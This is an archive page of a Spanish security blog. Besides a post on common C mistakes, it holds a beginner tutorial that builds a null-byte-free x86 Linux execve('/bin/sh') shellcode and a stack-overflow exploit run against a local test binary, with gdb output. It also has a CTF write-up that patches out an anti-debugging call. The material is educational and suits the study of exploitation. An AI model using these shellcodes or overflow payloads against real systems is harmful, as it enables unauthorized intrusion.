Archivo

Archivo para 30 abril 2010

Errores comunes en C

30/04/2010 2 comentarios

Incluso en entornos profesionales/empresariales, no deja de sorprender la facilidad con la que uno topa con código en C que no es completamente correcto/seguro. No estoy hablando ya de gente que hace en treinta líneas tareas que puedes hacer en cinco, si no de usos incorrectos de funciones. Voy a repasar algunas de las cosas que he visto recientemente, para aportar mi granito de arena y tratar de que se repitan lo menos posible (que se repetirán).

Lectura de datos

Existen muchas formas en C de leer datos de la entrada estándar (fgetc, getc, getchar, fgets, fread, getw, scanf…), pero desde luego hay una que todo el mundo debería tener claro que no se puede utilizar: gets(). ¿Por qué? Pues porque no tiene ningún control sobre la cantidad de datos leídos, es decir, que es la compañera ideal de un buffer overflow. Aún así hay que tener ojo, porque con funciones como fgets(char* s, int n, FILE* stream), si la longitud del dato introducido es menor que el tamaño (n) especificado, la cadena resultado tendrá como final un salto de línea (\n). No es mayor problema si se tiene en cuenta y se elimina después.

Cuando se intenta leer un dato caracter a caracter de la entrada estándar con, por ejemplo, getc(), los programadores con menos experiencia se encuentran frente a un problema inesperado. Un código de ejemplo:

#include <stdio.h>

int main(void){
 int exit=0;
 char option;
 while(!exit){
 printf("\n¿[S]eguir o [P]arar?: ");
 option = getchar();
 if (toupper(option) == 'P')
 exit = 1;
}
return 0;
}

El problema aquí es que la primera vez que nos pregunte leerá nuestra respuesta (S/P), pero la segunda vez que entre en el bucle, leerá el salto de línea que hemos introducido tras la letra (\n). En este ejemplo el único efecto colateral es que nos mostrará dos veces la pregunta. Pero si el if estuviera planteado de otro modo, podrían suceder cosas más extrañas.

Orion:~ Adrian$ ./a.out

¿[S]eguir o [P]arar?: s

¿[S]eguir o [P]arar?:
¿[S]eguir o [P]arar?: p

Para solucionar esto, se puede tomar la decisión de limpiar el buffer de entrada tras leer la información que nos interesa (siempre es buena política mantener los buffers de entrada limpios, por lo que pueda suceder). Y aunque la gente tiene esta idea más o menos clara, el método que utilizan para ponerla en práctica es equivocado. He tenido la desgracia de ver en más de una ocasión fflush(stdin) para limpiar el buffer de entrada. Sin embargo, la función fflush(FILE* stream) sólo está definida para flujos de salida, lo cual puede provocar comportamientos inesperados. En Windows funciona adecuadamente, pero en Linux no. Una posible alternativa pasa por limpiar el buffer de entrada, leyendo hasta el salto de línea. El código de antes quedaría tal que así:

#include <stdio.h>

int main(void){
 int exit=0;
 char option;
 while(!exit){
 printf("\n¿[S]eguir o [P]arar?: ");
 option = getchar();
 while(getchar()!='\n');
 if (toupper(option) == 'P')
 exit = 1;
 }
}

void main

Este error es tan común, y los casos en los que puede detectarse suelen ser tan escasos, que hasta aparece en libros sobre C. Recordemos que la definición del estándar dice que main se define como sigue:

int main(int argc, char** argv);

Cuando a la gente le dices que no debe marcar void como valor de retorno de main, te miran raro y te dicen que funciona bien. Bueno, funciona bien, a veces. Los motivos por los que no debe usarse void como retorno son varios, a saber:

  • Porque el estándar dice que está mal (debería bastar).
  • Porque las rutinas que invoquen tu programa, pueden asumir que main retornará 0 si acaba de manera correcta, y cualquier otro valor en caso de error. Con void, el valor que retorna es indefinido, por lo que no se podrá saber con seguridad si tu programa ha fallado o no.
  • Porque el compilador/las rutinas de inicio, pueden asumir que main colocará en la pila el valor de retorno. Si no lo hace, ir a buscarlo allí puede provocar corrupción de la pila o malfuncionamiento del programa que invoca void main.

Manejo de cadenas

A estas alturas de la película, debería ser evidente que no controlar el tamaño o el tipo de los datos de entrada a tu programa puede dar lugar a numerosas vulnerabilidades. Por lo tanto, de todas las funciones de string.h, es siempre recomendable utilizar las que tienen un control de la longitud de los datos que almacenan: strncpy en lugar de strcpy, strncat en vez de strcat…

Además hay que echar un ojo a la descripción de las funciones, porque cada una tiene sus particularidades, así por ejemplo la página de manual de strncpy dice:

The strncpy() function copies at most n characters from s2 into s1.  If s2 is less than n characters long, the remainder of s1 is filled with `’ characters.  Otherwise, s1 is not terminated.

Esto quiere decir que tras usar strncpy, es necesario comprobar si el resultado concluye con el  “\x00″ de rigor, y de no ser así añadirlo manualmente.

Quizá algún día todos estos errores dejen de aparecer de manera tan frecuente, y con ellos otros errores de concepto o de aritmética de punteros (también muy comunes).

Categorías:Programación Etiquetas: ,

Exploitation: Shellcodes en Linux II

21/04/2010 2 comentarios

En la entrada anterior nos habíamos quedado con el problema de la eliminación de los null bytes para conseguir que nuestra shellcode funcionara correctamente. En esta eliminaremos esos null bytes y nos enfrentaremos a otros problemas asociados normalmente al desarrollo de shellcodes. Vamos a ello.

Eliminando Null Bytes

Nos encontramos en la situación en la que tenemos que eliminar los null bytes de las siguientes instrucciones:


mov eax, 11     ; execve es la syscall núm 11
mov edx, 0      ; el tercer argumento es NULL (envp)
push shell      ; colocamos la cadena /bin/sh en la pila

Que ensamblan a los siguientes opcodes:

B80B000000        mov eax,0xb
BA00000000        mov edx,0x0
6817000000        push dword 0x17

Los bytes nulos de la segunda instrucción, poner a 0 edx, vienen precisamente del valor inmediato cero, lo que nos genera cuatro bytes nulos. Es necesario por tanto encontrar otra forma de poner a cero un registro, ya que será algo que utilizaremos muy a menudo. Podríamos restar dos valores idénticos que no contengan bytes nulos, pero requeriría un mov para colocar el valor y luego un sub para restarlo, algo así:


BAFFFFFFFF        mov edx,0xffffffff
29D2              sub edx,edx

Esto podría funcionar, sin embargo, necesitamos seis bytes para poner a cero un registro. Es mucho más inteligente utilizar la función xor, porque como todos sabemos, realizar una xor de algo consigo mismo da siempre cero. Además, la xor ocupa tan sólo dos bytes, con lo que ahorramos espacio (cosa muy importante como veremos luego). Como se ve en el ensamblado del xor edx,edx no tenemos ningún byte nulo al poner un registro a cero.


31D2              xor edx,edx

Los null bytes (que son 3) de la primera instrucción, vienen porque el valor 11 tiene que entrar en un registro de 32 bits, por lo que se ha extendido el signo. Sin embargo, si nos aseguramos de que el registro está a cero, nos bastará con mover 11 al último byte del registro. Por tanto pasaríamos del mov eax, 0xb a:


31C0              xor eax,eax
B00B              mov al,0xb

Que nadie se pierda, B00B no contiene un byte nulo, es una palabra compuesta de dos bytes: B0 y 0B y ninguno de ellos es nulo. Por último tenemos el push dword 0×17, y el problema que tiene es exactamente el mismo que el primero, que 0×17 es un valor pequeño para 32 bits, y la extensión de signo provoca la aparición de ceros. Para solucionarlo, podemos indicar que el tamaño del valor a pushear es un byte:


6A13              push byte +0x13

Position independent code

Bien, con estos retoques, tenemos el siguiente código, que al ensamblar no produce ningún byte nulo:


BITS 32

; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax    ; ponemos a cero el registro
mov al, 11      ; execve es la syscall núm 11
xor edx, edx    ; el tercer argumento es NULL (envp)

push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
; terminar el array argv
push byte shell ; colocamos la cadena /bin/sh en la pila
mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

int 0x80        ; invocamos al sistema operativo (software interrupt)
shell   db      "/bin/sh"

Vamos a probar a utilizarlo en un exploit, aunque los más avispados ya sabrán que no va a funcionar y también intuirán por qué.


adrian@orion-virt:~/exploiting$ export SHELLCODE=$(cat shellcode/shellcode3)
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6dd
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
Bienvenido al sistema, ������������
Segmentation fault (core dumped)

adrian@orion-virt:~/exploiting$ gdb -q -c core
Core was generated by `./sovf  ������������
Program terminated with signal 11, Segmentation fault.
#0  0xbffff6ee in ?? ()
(gdb) x/16wi 0xbffff6dd
0xbffff6dd:    xor    eax,eax
0xbffff6df:    mov    al,0xb
0xbffff6e1:    xor    edx,edx
0xbffff6e3:    push   edx
0xbffff6e4:    push   0x10
0xbffff6e6:    mov    ebx,DWORD PTR [esp]
0xbffff6e9:    mov    ecx,esp
0xbffff6eb:    int    0x80
0xbffff6ed:    das
0xbffff6ee:    bound  ebp,QWORD PTR [ecx+0x6e]
0xbffff6f1:    das
0xbffff6f2:    jae    0xbffff75c
0xbffff6f4:    add    BYTE PTR [ebp+eax*2+0x52],dl
0xbffff6f8:    dec    ebp
0xbffff6f9:    cmp    eax,0x72657478
0xbffff6fe:    ins    DWORD PTR es:[edi],dx

Vemos que hemos redirigido la ejecución correctamente, pero que ha intentado ejecutar la definición de la cadena “/bin/sh” como instrucciones, y eso ha producido un fallo de segmentación. Pero, ¿por qué ha llegado aquí? En el momento en que se lanza la int 0×80 debería ejecutar execve y abrirnos una shell y no llegaría a ejecutar lo que hubiera debajo. ¿Qué ha pasado entonces? El problema es que la llamada a execve está mal hecha, y ha retornado de la función sin ejecutar lo que queríamos, ha continuado ejecutando el código de debajo y el resto de la historia ya la sabemos. El origen del problema es el push byte shell, que si nos fijamos coloca en la pila 0×10, lo que debería ser la dirección de memoria de nuestra cadena. El asunto es que esa es la dirección calculada por el ensamblador de manera estática, pero cuando incluímos nuestra shellcode dentro de otro programa en ejecución, no podemos contar con que se haya colocado en la misma posición que asumió nasm al ensamblar. Es decir, nuestro código no es position independent, y tenemos que encontrar una manera de obtener la dirección de la cadena “/bin/sh” independientemente de dónde estemos cargados en memoria. Existe un pequeño truco que se suele utilizar para estos casos:

BITS 32

; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax    ; execve es la syscall núm 11
mov al, 11
xor edx, edx    ; el tercer argumento es NULL (envp)
push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv

call next       ; colocamos la cadena /bin/sh en la pila
db  "/bin/sh"
next:
 mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
 mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

 int 0x80    ; invocamos al sistema operativo (software interrupt)

Lo que hemos hecho aquí es aprovecharnos del funcionamiento de la instrucción call. Call se utiliza para realizar llamadas a funciones, y la particularidad que tiene es que salva en la pila la dirección de la siguiente instrucción, de tal forma que cuando la función a la que llama finalice, pueda retornar correctamente a la instrucción que corresponde. En nuestro caso, colocamos nuestra cadena a continuación de la llamada a call, de tal forma que su dirección se coloca en la pila y la utilizamos de la misma manera que hasta ahora. Sin embargo, este código no funcionará, ya que la instrucción call utiliza un offset relativo al EIP para el salto. Esto quiere decir que el offset es un número bajo, y que tiene que ocupar 4 bytes, así que se producirá la extensión de signo que causará los odiados null bytes.

E807000000        call dword 0x13

¿Qué pasaría si en lugar de saltar hacia delante (hacia posiciones más altas de memoria), saltáramos hacia atrás? El offset sería por tanto un número negativo, y dada la pequeña distancia que manejamos, sería un número negativo muy grande, por lo que con un poco de suerte no tendrá ningún byte nulo. Tal vez algo tal que así:

BITS 32

; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax    ; execve es la syscall núm 11
mov al, 11
xor edx, edx    ; el tercer argumento es NULL (envp)
push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv
jmp short down  ; saltamos hacia abajo para poder realizar el call hacia arriba
                ; al ser short no generará null bytes
back:
 mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
 mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

 int 0x80    ; invocamos al sistema operativo (software interrupt)
down:
 call back   ; colocamos la cadena /bin/sh en la pila
 db  "/bin/sh"

Esto ya sí se puede llamar shellcode, y funciona correctamente y como se espera :) No genera ningún byte nulo, ocupa 28 bytes y nos ofrece una preciosa shell. Sin embargo, hay situaciones en las que esta shellcode es demasiado grande, y es necesario reducir el espacio que ocupa un poco más. Además, ahora sabemos que una shellcode es un programa en ensamblador con ciertas “peculiaridades” y que podemos por tanto hacer lo que queramos en él. Existen también protecciones que no dejan pasar por la red caracteres no imprimibles o IDS que pueden dar la alarma si encuentran la cadena “/bin/sh” o un número elevado de NOPs entre el tráfico de red. Por supuesto, abrir una shell en local no nos es útil para explotar aplicaciones en remoto, y un firewall filtrará las conexiones entrantes, por lo que necesitaremos una shell que inicie la conexión… Veremos todo esto en la siguiente entrada sobre shellcodes. Mientras tanto, ideas, dudas o aportaciones en los comentarios :)

Categorías:exploiting, hacking Etiquetas: , ,

Exploitation: Shellcodes en Linux I

En las entradas de la serie Exploitation (a beginners intro ;) ) hemos utilizado shellcodes como un chorro de bytes que copiábamos en nuestros exploits, pero ha llegado el momento de comprender qué son esos bytes y cómo podemos construir nuestras propias shellcodes. Una shellcode (también llamado exploit payload) normalmente sirve para lanzar una shell (de ahí su nombre), aunque en realidad podemos hacer cualquier cosa con ella. Para escribir buenas shellcodes es importante tener unos conocimientos bastante amplios de lenguaje ensamblador (ya que es el que se usa para escribir shellcodes), así como del sistema operativo para el que se están desarrollando. En esta primera introducción nos centraremos en Linux y en intel x86.

Saludos desde ASM

Como dijimos en las entradas de conocimientos previos, un ejecutable se divide en varias secciones, y aunque nosotros no lo veamos, cuando el compilador genera el código máquina, crea esas secciones de manera correcta. Por tanto, si nosotros queremos escribir un programa directamente en ensamblador, debemos conocerlas y respetarlas. Para ilustrar esto, mostraremos un pequeño código ASM que nos saluda y finaliza correctamente. No os preocupéis si no entendéis el uso de los registros, lo veremos justo después.


BITS 32                ; indicamos a NASM que el código es para plataformas de 32 bits

section .data       ; sección de datos inicializados, recordad los post de conocimientos previos
saludo  db      "Hola a todos ^_^", 0x0a     ; Un saludo y el fin de línea

section .text       ; sección de texto, recordad los post de conocimientos previos
global _start       ; declaramos y exportamos el punto de entrada del programa

_start:             ; comienza el programa

; ssize_t write(int fd, const void *buf, size_t num);
; invocamos write(1, saludo, 17)

mov eax, 4          ; write es la syscall número 4
mov ebx, 1          ; stdout es el descriptor de fichero número 1
mov ecx, saludo     ; ecx es el segundo parámetro, nuestro mensaje
mov edx, 17         ; edx es el tercer parámetro, la longitud del mensaje (incluyendo el salto de línea)
int 0x80            ; lanzamos un trap para que entre el sistema operativo

; void exit(int status);
; exit(0)

mov eax, 1          ; exit es la syscall número 1
mov ebx, 0          ; ebx es el primer parámetro, salida correcta, un 0
int 0x80            ; llamamos al sistema operativo mediante un trap

Si os acordáis del tema secciones de los ejecutables, lo único destacable aquí es cómo se están realizando las llamadas al sistema. En Linux, se utiliza la interrupción software int 0×80 para solicitar al sistema operativo que realice una llamada al sistema. Los parámetros de la llamada se toman de los registros, que tienen un valor específico:

  • eax: almacena el número de la llamada al sistema que queremos ejecutar
  • ebx: primer argumento de la llamada
  • ecx: segundo argumento de la llamada
  • edx: tercer argumento de la llamada

El listado de las llamadas al sistema y su correspondiente número se puede obtener en /usr/include/asm/unistd_32.h (para 32 bits).


adrian@Andromeda-virt:~/exploiting$ head -n 20 /usr/include/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H

/*
 * This file contains the system call numbers.
 */

#define __NR_restart_syscall      0
#define __NR_exit          1
#define __NR_fork          2
#define __NR_read          3
#define __NR_write          4
#define __NR_open          5
#define __NR_close          6
#define __NR_waitpid          7
#define __NR_creat          8
#define __NR_link          9
#define __NR_unlink         10
#define __NR_execve         11
#define __NR_chdir         12

El programa que hemos mostrado funciona, pero tiene un problema para poder ser considerado una shellcode: no es autocontenido. Además, es necesario linkarlo y darle un formato ejecutable (ELF) como se muestra a continuación:


adrian@Andromeda-virt:~/exploiting$ nasm -f elf holamundo.S
adrian@Andromeda-virt:~/exploiting$ ld holamundo.o -o hola
adrian@Andromeda-virt:~/exploiting$ ./hola
Hola a todos ^_^

Nuestra shellcode va a ser “inyectada” en un programa en ejecución, por lo que no podemos tomarnos la licencia de declarar las secciones típicas de un ejecutable, ya que el programa donde nos inyectaremos ya tiene sus secciones definidas. Esto quiere decir que nuestra shellcode debe estar preparada para tomar el control del programa en cualquier situación, independientemente del estado del procesador o de la memoria; nuestra shellcode tiene que ser código independiente de la posición.

Shell desde ASM

El siguiente fragmento de código es un “shellcode” que lanza una shell, creado sin preocuparnos de que funcione dentro de un exploit o no. Lo iremos modificando para adecuarlo al término exacto de shellcode.

BITS 32

section .data
shell   db      "/bin/sh"

section .text
global _start

_start:
; int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 11     ; execve es la syscall núm 11
mov edx, 0      ; el tercer argumento es NULL (envp)

push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv
push shell      ; colocamos la dirección de la cadena /bin/sh en la pila
mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
lea ecx, [esp]  ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

int 0x80        ; invocamos al sistema operativo (software interrupt)

Al igual que en el ejemplo anterior, hemos definido las secciones del ejecutable, lo que permite probar el código, pero impide que tome el control de un programa que ya se encuentre en ejecución. Para los que no estén familiarizados con el uso de las funciones de la familia execve, resaltar que los argumentos deben ser de la siguiente forma:

  • filename = puntero a cadena terminada en caracter nulo (“cadena”).
  • argv = punteros a punteros a argumentos. El primer argumento es el nombre del programa a ejecutar. El último puntero debe ser NULL.
  • envp = punteros a punteros a variables de entorno. El último debe ser también NULL.

Como habréis podido notar, la diferencia entre filename (ebx) y argv (ecx) es que el segundo tiene una indirección más, cosa que conseguimos en ensamblador mediante la instrucción lea (Load effective address). En este caso, la instrucción lea ecx, [esp] es equivalente a mov ecx, esp y ambas funcionan correctamente. El objetivo es colocar en ecx la dirección en la que se encuentra el puntero a la cadena, mientras que en ebx colocamos directamente la dirección de la cadena. Estas direcciones las hemos construído sobre la pila, consiguiendo que la misma tenga la siguiente pinta:

[ dir cadena | 0x00000000 ]


adrian@orion-virt:~/exploiting/shellcode$ nasm -f elf shellcode1.S
adrian@orion-virt:~/exploiting/shellcode$ ld shellcode1.o
adrian@orion-virt:~/exploiting/shellcode$ ./a.out
$ id
uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),
115(admin),120(sambashare),1000(adrian)
$
adrian@orion-virt:~/exploiting/shellcode$

Con esto y los comentarios del código debería quedar claro qué hace y por qué lo hace. Ahora que tenemos un programa en ensamblador que ejecuta una shell, el primer paso para convertirlo en una shellcode es hacer que pueda inyectarse en el buffer de la aplicación vulnerable y sea capaz de tomar el control de la misma. Para esto, y como ya hemos explicado, es necesario evitar la definición de secciones, así como hacer que el código sea position independent.

Hacia el shellcode

Vamos entonces a eliminar la definición de secciones, así como la definición de _start, y trataremos de ejecutar el programa de nuevo.


BITS 32

shell   db      "/bin/sh"

; int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 11     ; execve es la syscall núm 11
mov edx, 0      ; el tercer argumento es NULL (envp)

push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv
push shell      ; colocamos la cadena /bin/sh en la pila
mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

int 0x80        ; invocamos al sistema operativo (software interrupt)


adrian@orion-virt:~/exploiting/shellcode$ nasm -f elf shellcode2.S
adrian@orion-virt:~/exploiting/shellcode$ ld shellcode2.o
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
adrian@orion-virt:~/exploiting/shellcode$ ./a.out
Segmentation fault

adrian@orion-virt:~/exploiting/shellcode$ gdb -q ./a.out
Reading symbols from /home/adrian/exploiting/shellcode/a.out...done.
(gdb) run
Starting program: /home/adrian/exploiting/shellcode/a.out

Program received signal SIGSEGV, Segmentation fault.
0x08048061 in ?? () at shellcode2.S:3
3    shell    db    "/bin/sh"

El primer problema con el que nos encontramos es que se está tratando de interpretar la definición de la cadena “/bin/sh” como si fuera código ejecutable en lugar de datos. En principio podría valer con colocar la declaración de la variable al final de nuestro programa, tal que lo primero que haya sea código realmente ejecutable. Podéis comprobar por vosotros mismos como el programa sigue funcionando con este cambio. Digamos entonces que lo queremos usar para explotar un buffer overflow:

adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6e0
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xe0\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   54   f3   ff   bf   e0   f6   6a    0  . e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf   e0   f6   ff   bf
 0   f4   ff   bf   a0   f4   ff   bf   58   f8   12    0   50   f4   ff   bf
 ff   ff   ff   ff   f4   bf   12    0   bf   82    4    8    1    0    0    0
 50   f4   ff   bf   26   d3   11    0
Bienvenido al sistema, �������������������
Segmentation fault (core dumped)
adrian@orion-virt:~/exploiting$ gdb -q -c core
Core was generated by `./sovf ����
Program terminated with signal 11, Segmentation fault.
#0  0xbffff6e5 in ?? ()
(gdb) i r eip
eip            0xbffff6e5    0xbffff6e5
(gdb) x/4wi 0xbffff6e0
0xbffff6e0:    mov    eax,0x6852ba0b
0xbffff6e5:    pop    ss
0xbffff6e6:    mov    ebx,DWORD PTR [esp]
0xbffff6e9:    mov    ecx,esp

El exploit ha fallado. A pesar de que hemos conseguido redirigir la ejecución del programa a la posición de memoria donde se encuentra nuestro shellcode (como demuestra la última instrucción ejecutada), cuando inspeccionamos lo que debería ser el código de nuestra shellcode nos encontramos con algo totalmente diferente. ¿Por qué? Porque nuestra shellcode está llena de NULL BYTES, y suelen pasar dos cosas. En primer lugar, que bash las ha eliminado de la shellcode al exportarla (nuestro caso). En segundo lugar, que aunque no hubiera sido así, si hubiéramos introducido la shellcode dentro del propio buffer, la función strcpy habría copiado hasta dar con el primer byte nulo (ya que lo consideraría final de cadena), y habría dejado de copiar, por lo que no se habría copiado correctamente la shellcode.


adrian@orion-virt:~/exploiting/shellcode$ ndisasm shellcode2 -u
00000000  B80B000000        mov eax,0xb
00000005  BA00000000        mov edx,0x0
0000000A  52                push edx
0000000B  6817000000        push dword 0x17
00000010  8B1C24            mov ebx,[esp]
00000013  89E1              mov ecx,esp
00000015  CD80              int 0x80
00000017  2F                das
00000018  62696E            bound ebp,[ecx+0x6e]
0000001B  2F                das
0000001C  7368              jnc 0x86
adrian@orion-virt:~/exploiting/shellcode$ hexdump -C shellcode2
00000000  b8 0b 00 00 00 ba 00 00  00 00 52 68 17 00 00 00  |..........Rh....|
00000010  8b 1c 24 89 e1 cd 80 2f  62 69 6e 2f 73 68        |..$..../bin/sh|
0000001e

Aquí tenemos dos formas de ver los null bytes de nuestra shellcode, que son bastantes. Es imprescindible eliminar estos bytes nulos si queremos que funcione, así que tenemos que poner a trabajar nuestro conocimiento del lenguaje ASM del x86 para conseguir el mismo resultado con instrucciones que no produzcan nulos. Por ejemplo, el opcode de mov es un byte, y lo que le sigue (B80B000000 en la primera instrucción) es el inmediato en little endian, lo que sería 0x0000000B (11). Al ser 11 un valor demasiado bajo, se rellena con ceros para ocupar todo el registro, y esto nos produce un null byte. ¿Cómo eliminarlo? Os dejo pensando en ello hasta la siguiente entrega ;)



Categorías:exploiting, hacking Etiquetas: , ,

Solución al Gipuzkoa Encounter 2010 Hack-It! (ELF II)

En esta entrada voy a mostrar otra forma de solucionar el reto del ELF de la Gipuzkoa Encounter. Si no habéis leído la entrada previa sobre el reto, es momento de hacerlo ahora, ya que consideraré muchas cosas como sabidas. De nuevo copio el warning:

AVISO: Voy a poner la solución al reto paso a paso, tratando de que sea un solucionario completo para que tanto la gente con pocos conocimientos del tema como los más expertos puedan seguirlo. No obstante, lo ideal es que trates de resolverlo por tu cuenta, y que si te atascas continues leyendo. Dicho queda.

Binary patching

Ya dije en la otra entrada que una solución podría pasar por parchear el binario para saltarnos la protección de depuración y así utilizar gdb para seguir el programa paso a paso y localizar la contraseña que nos piden. Si el objetivo fuera la ejecución de alguna función o conseguir que el programa mostrara algún mensaje concreto podríamos tratar de parchearlo para que el flujo del programa nos llevara a ese punto, sin embargo aquí lo que nos han pedido es que les demos la contraseña válida, así que allá vamos.

(gdb) disass main
Dump of assembler code for function main:
0x080482bb <main+0>:    lea ecx,[esp+0x4] 
0x080482bf <main+4>:    and    esp,0xfffffff0 
0x080482c2 <main+7>:    push   DWORD PTR [ecx-0x4] 
0x080482c5 <main+10>:    push   ebp 
0x080482c6 <main+11>:    mov    ebp,esp 
0x080482c8 <main+13>:    push   ecx 
0x080482c9 <main+14>:    sub    esp,0x14 
0x080482cc <main+17>:    mov    DWORD PTR [esp],0x80a4f08 
0x080482d3 <main+24>:    call   0x8048f70 <puts> 
0x080482d8 <main+29>:    mov    DWORD PTR [esp],0x80a4f2f 
0x080482df <main+36>:    call   0x8048d80 <printf> 
0x080482e4 <main+41>:    call   0x8048273 <check> 
0x080482e9 <main+46>:    mov    DWORD PTR [esp],0x80c3840 
0x080482f0 <main+53>:    call   0x8048db0 <gets> 
0x080482f5 <main+58>:    mov    DWORD PTR [esp],0xa 
0x080482fc <main+65>:    call   0x8049110 <putchar> 
0x08048301 <main+70>:    mov    DWORD PTR [esp],0x80c3840 
0x08048308 <main+77>:    call   0x8048210 <balioztau> 
0x0804830d <main+82>:    test   eax,eax 
0x0804830f <main+84>:    je     0x804831f <main+100> 
0x08048311 <main+86>:    mov    DWORD PTR [esp],0x80a4f3c 
0x08048318 <main+93>:    call   0x8048f70 <puts> 
0x0804831d <main+98>:    jmp    0x804832b <main+112> 
0x0804831f <main+100>:    mov    DWORD PTR [esp],0x80a4f46 
0x08048326 <main+107>:    call   0x8048f70 <puts> 
0x0804832b <main+112>:    add    esp,0x14 
0x0804832e <main+115>:    pop    ecx 
0x0804832f <main+116>:    pop    ebp 
0x08048330 <main+117>:    lea    esp,[ecx-0x4] 
0x08048333 <main+120>:    ret 
End of assembler dump. 

Ahí tenemos el desensamblado del main. Recordad que la función check es la que comprobaba si estábamos depurando el binario y en ese caso nos mostraba un mensaje de error y finalizaba la ejecución. Una forma sencilla de evitar que pase es simplemente eliminando la llamada a check del binario. Para ello tendremos que encontrar dentro del binario ese fragmento de código y sustituirlo por otro. Podemos utilizar objdump para localizar ese fragmento de código y el hexadecimal al que ensambla:

adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ objdump -M intel -d tolosa2010_unix -z | grep -i "<main>:" -A 30
080482bb <main>:
 80482bb:    8d 4c 24 04              lea    ecx,[esp+0x4]
 80482bf:    83 e4 f0                 and    esp,0xfffffff0
 80482c2:    ff 71 fc                 push   DWORD PTR [ecx-0x4]
 80482c5:    55                       push   ebp
 80482c6:    89 e5                    mov    ebp,esp
 80482c8:    51                       push   ecx
 80482c9:    83 ec 14                 sub    esp,0x14
 80482cc:    c7 04 24 08 4f 0a 08     mov    DWORD PTR [esp],0x80a4f08
 80482d3:    e8 98 0c 00 00           call   8048f70 <_IO_puts>
 80482d8:    c7 04 24 2f 4f 0a 08     mov    DWORD PTR [esp],0x80a4f2f
 80482df:    e8 9c 0a 00 00           call   8048d80 <_IO_printf>
 80482e4:    e8 8a ff ff ff           call   8048273 <check>
 80482e9:    c7 04 24 40 38 0c 08     mov    DWORD PTR [esp],0x80c3840
 80482f0:    e8 bb 0a 00 00           call   8048db0 <_IO_gets>
 80482f5:    c7 04 24 0a 00 00 00     mov    DWORD PTR [esp],0xa
 80482fc:    e8 0f 0e 00 00           call   8049110 <putchar>
 8048301:    c7 04 24 40 38 0c 08     mov    DWORD PTR [esp],0x80c3840
 8048308:    e8 03 ff ff ff           call   8048210 <balioztau>
 804830d:    85 c0                    test   eax,eax
 804830f:    74 0e                    je     804831f <main+0x64>
 8048311:    c7 04 24 3c 4f 0a 08     mov    DWORD PTR [esp],0x80a4f3c
 8048318:    e8 53 0c 00 00           call   8048f70 <_IO_puts>
 804831d:    eb 0c                    jmp    804832b <main+0x70>
 804831f:    c7 04 24 46 4f 0a 08     mov    DWORD PTR [esp],0x80a4f46
 8048326:    e8 45 0c 00 00           call   8048f70 <_IO_puts>
 804832b:    83 c4 14                 add    esp,0x14
 804832e:    59                       pop    ecx
 804832f:    5d                       pop    ebp
 8048330:    8d 61 fc                 lea    esp,[ecx-0x4]
 8048333:    c3                       ret
adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ objdump -M intel -d tolosa2010_unix -z | grep -i 80482e4
 80482e4:    e8 8a ff ff ff           call   8048273 <check>

Como se puede observar nuestro objetivo es localizar la secuencia e88affffff y sustituirla. No podemos simplemente eliminarla del binario, ya que romperíamos las instrucciones que utilizan offsets y podríamos causar problemas de alineación o derivados. Sin embargo, podemos colocar en su lugar NOPs (0×90), un total de cinco, para cubrir el espacio de esa instrucción. Para esta operación podemos utilizar nuestro editor hexadecimal favorito, ya sea hexedit, ghex u otro.

GHex

Buscamos el patrón del call

GHex sustitution

Sustituimos el patron del call por nops

